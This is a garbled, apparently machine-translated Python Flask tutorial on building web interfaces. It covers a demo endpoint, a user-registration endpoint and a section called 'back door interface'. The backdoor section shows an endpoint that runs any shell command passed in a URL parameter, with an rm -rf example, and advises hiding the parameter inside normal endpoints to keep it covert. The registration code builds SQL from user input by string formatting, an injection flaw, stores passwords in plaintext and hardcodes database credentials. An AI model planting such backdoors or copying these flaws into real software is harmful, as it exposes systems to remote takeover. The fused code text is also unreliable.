I. The role of the development interface
1, when the other interface is not developed, you can simulate some interfaces to test the interface that has been developed, such as a false payment interface, to simulate payment success, payment failure.
2, understand how the interface is implemented: Data interaction, data return
3, develop to others to view the data, to avoid other people directly manipulate the database
Second, the interface development steps
1. Instantiating the server
2. The function below the adorner becomes an interface
3. Start the service
Third, develop a simple interface
1 ImportFlask,json2Server = Flask. Flask (__name__)#instantiate the server and treat the current Python file as a service, __name__ represents the current Python file3@server. Route ('/index', methods=['Get'])#' index ' is the interface path, methods does not write, then the default GET request4 #Adorner, the following function becomes an interface5 defindex ():6res = {'msg':'This is the first interface I developed.','Msg_code':'0000'}7 returnJson.dumps (res,ensure_ascii=False)8 #Json.dumps The ASCII encoding that is used by default in Chinese when serializing. Want to output the real Chinese need to specify Ensure_ascii=false9 TenServer.run (port=8888,debug=true,host='0.0.0.0')#Start the service One #Debug=true, after changing the code, do not restart, it will automatically restart A #' host= ' 0.0.0.0 ' others can access via IP
Run this code, open the browser, enter Http://127.0.0.1:8888/index, you can see the following results:
Iv. development of a registered interface
1 ImportFlask,json2Server = Flask. Flask (__name__) 3@server. Route ('/reg', methods=['Post'])4 defReg ():5Username =flask.request.values.get ('username')6PWD = Flask.request.values.get ('pwd')7 ifUsername andpwd:8sql ='SELECT * from my_user where username = "%s";'%username9 ifmy_db (SQL):Tenres = {'msg':'user already exists','Msg_code': 2001} One Else: AInsert_sql ='INSERT INTO My_user (username,passwd,is_admin) VALUES ("%s", "%s", 0);'%(USERNAME,PWD) - my_db (insert_sql) -res = {'msg':'Registration Successful','Msg_code': 0000} the Else: -res = {'msg':'Required fields are not filled, please check the interface documentation! ','Msg_code': 1001} - returnJson.dumps (res,ensure_ascii=False) - +Server.run (port=8888,debug=true,host='0.0.0.0')#Start the service - #Debug=true, after changing the code, do not restart, it will automatically restart + #' host= ' 0.0.0.0 ' others can access via IP
my_db () is another encapsulated function, which should be placed above the interface, with the following code:
1 defmy_db (SQL):2 ImportPymysql3Coon =Pymysql.connect (4host='192.168.1.112', user='Test', passwd='111111',5port=3306, db='Test', charset='UTF8')6cur = coon.cursor ()#Creating Cursors7Cur.execute (SQL)#Execute SQL8 ifSql.strip () [: 6].upper () = ='SELECT':9res =Cur.fetchall ()Ten Else: One Coon.commit () Ares ='OK' - cur.close () - coon.close () the returnRes
Using the postman test results are as follows:
Five, back door interface
1 ImportOS2@server. Route ('/error', methods=['Get'])3 defcmd ():4cmd = Flask.request.values.get ('cmd')#Interface Entry Parameter5res = Os.popen (cmd)#Execute user Command6 returnRes.read ()#return to execution results7 #HTTP://127.0.0.1:8888/ERROR?CMD=RM-RF A.txt Backdoor interface to delete project files directly from the browser8 #covert A little method, put cmd = flask.request.values (' cmd ', None) to the normal interface9 #default can not pass, one but passed again res = os.popen (cmd)TenServer.run (port=8888,debug=true,host='0.0.0.0')#Start the service One #Debug=true, after changing the code, do not restart, it will automatically restart A #' host= ' 0.0.0.0 ' others can access via IP
An interface file can contain multiple interfaces, as long as the interface path is inconsistent. But Server.run () must be placed at the bottom of all interfaces, otherwise, the interface below Server.run () will not be run.
Python Learning ==> Interface Development